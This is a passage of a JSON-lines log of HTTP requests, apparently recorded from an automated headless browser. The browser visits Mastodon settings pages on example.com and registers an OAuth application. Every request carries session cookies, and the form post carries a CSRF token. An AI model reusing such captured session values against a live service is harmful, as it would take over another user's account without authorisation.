_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6dd0e6137fbb0cb22b7d7ad5055bd2a325323755; _mastodon_session=orpoDp0vzOcOZpJ%2F3gSFEP8t4VRjgdf114XVhWVIpVBBQrlAsSzV9w1vZcgAhYfNfscF4gQUHMnk2nn%2BfR7wkeXvWMw%2FisV9cRhR%2BmuK%2BMrhysBgzfKUlHjuoa1SFwofWw9as5bDlO3%2Fde1ho3o7Lj1HmzjVQBhZGkK%2FdVZXnNczsG95kRaWkxcnTxT4DPg0Chj3KA9D2D1rRVkFtKlgjYg1JMDeZ2bqjACpHA1SyqinrZC%2Fm7aQLqatWzuyI2SuA9V%2B2Hhexqd7bu7lLBazYzlM2rrDBrKTnIwANx0zJvrieG0RSvUu3IVZqb0UuW7UKRBdg%2BvirMXvJ%2FArL5GA5IV5rywPIVqVPCaNBRv8K4NDzlco2p63lobkCu5ApaiVFjH03WBtA4u2GkpDwfKnhx%2FVTwO9D1Sf0HYmDXfXamD0zEj%2BDcxbVcvRiuNFRzDv2KOxXipY9cJ%2FXzrKNJmQDCAMUfikyupCFEHX3v%2FO3Qq6xqGmZBDZUqW4QxlkKrDK9YUm80%2FrG962MMhKgk0KRL6SvPE3uAlAiNtJrsCgqsH6CJoj5wFvEuEbXhRdBXox7fngEpgX9Cii%2BzJgZgSEfj4lTW6dB3Ps%2BjYVOOqmwRBc13RKxlOZ%2Fe0%3D--DWesOan0ml8KckSk--J4ROP2eU7rGOUzkIJ6n4Gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTk1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--46e7201434ebe8a20ac4aa35444b87a0b3a9fcbd; _mastodon_session=4r2Y7fpl%2BrFPdjLC59fNkTTIvtf2ccVkX%2B9lYiwfrNZewpbiXjxlhD2PJ0SbwD6OeHRufF91YZls3CRLTAXblRlGAqIOPIQUYQbVnzwihu0aoDwmsWxCLTrmTbAtNmrGC8iOcOj%2FbPfVhuN31k3g0NrVbHKzvcwyvazGy6JmVBjBYYEOIMItxk6J74KR6Cs%2FxuiMQpvFEjOx%2FsL%2BlNfjX0BE3OXr4IJvXewUNOlcjDY5nCPn%2Bf%2FnkjOO1Axef4mMSR2LMdaIfACWBaz4KpSDroEQWtuWIJ4VLMjwiK5SU3PnZvQd2hZI0B6glmsJaxDrXMr2Dt2Vw%2BERR5XcUTHS1oGDWeFB%2BaC%2FXmq59CbGfbR86D4CusD12RLgsKF1s4JerFnPr3aWZyqD--t7ziTsV%2BrTdUgWry--vWUALKiy6eo4yh%2BjlmX%2BFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/export", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/export", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/imports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/filters-B_-6iXPk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/imports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/applications/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 614", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": "authenticity_token=7xS2wadIGBN2ohySFEdB51yRgnIC0BqnpJjj6huUfAwshg79AIgLQ9k-nzGll6GLTOidGo3PNsK1JS6iGfYYCg&doorkeeper_application%5Bname%5D=My+python3+app&doorkeeper_application%5Bwebsite%5D=https%3A%2F%2Fexample.org%2Fpowershell&doorkeeper_application%5Bredirect_uri%5D=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=profile&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuODk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e1bf0268347a2e00cd756b381436d085b1256e7; _mastodon_session=S39wtIx%2FVnoD4MGC9Sr89rC7CO5ivaJttIBL578q0BlLTZ7Kk9RaXCw6ifmA085vwybPiSt2FbxDHT7LmAV3lRUeBp%2ForYSA2zlymodQf4mkcmIdTvejcayyie0Pzv6igQ3kuGPK%2FPFOd8ioq4qJY6jzcg7y3MrONZKYR16U7Yi%2Frtt8CsjV1a1R4fHDiUSgk8EbcHO9I2lXNd61HVwaYCszPV0YzZ4A9ZUZiTH3JGpV56GrEW8dEs0wyZ82PELYM6Z8zBAqUXbtluCwwQxW5qJ%2FXhUDiSz7qW9EiEdouYL9QdzHJ2gAT30PJv9gyWWf3i72dViTTyceo%2BLa9RChZ6tkJHHqnhg6b%2BjJssVWjLoconWhVwQJE1RobjMdBSKQS4Lrfz9vb7qmHt2zFopwSid0MyInOgCD1x173uDTnDYtQHlEbIeiFWL%2B0EPRPcm13ynxaWXZIS2G7%2Bnrmg2nvPRcyeDQRQJWY2vH3v6pdn2B0K2pAan0zkuJeKBQBcil702IoF%2BROSMbq6%2BYXfs3WZU%3D--dgkphIpl0ii6jzzr--MW34OvpD%2FsOV%2FjD4w2iPqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/accounts_typed-Xu0a4dCy.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/relationships", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 